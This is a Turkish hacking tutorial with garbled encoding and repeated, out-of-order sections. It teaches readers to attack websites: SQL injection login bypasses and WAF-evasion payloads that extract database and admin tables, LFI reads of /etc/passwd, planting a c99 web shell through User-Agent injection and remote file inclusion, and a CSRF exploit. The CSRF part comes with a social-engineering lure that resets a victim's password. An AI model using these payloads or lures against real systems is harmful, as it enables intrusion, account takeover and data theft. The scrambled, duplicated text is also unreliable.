Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
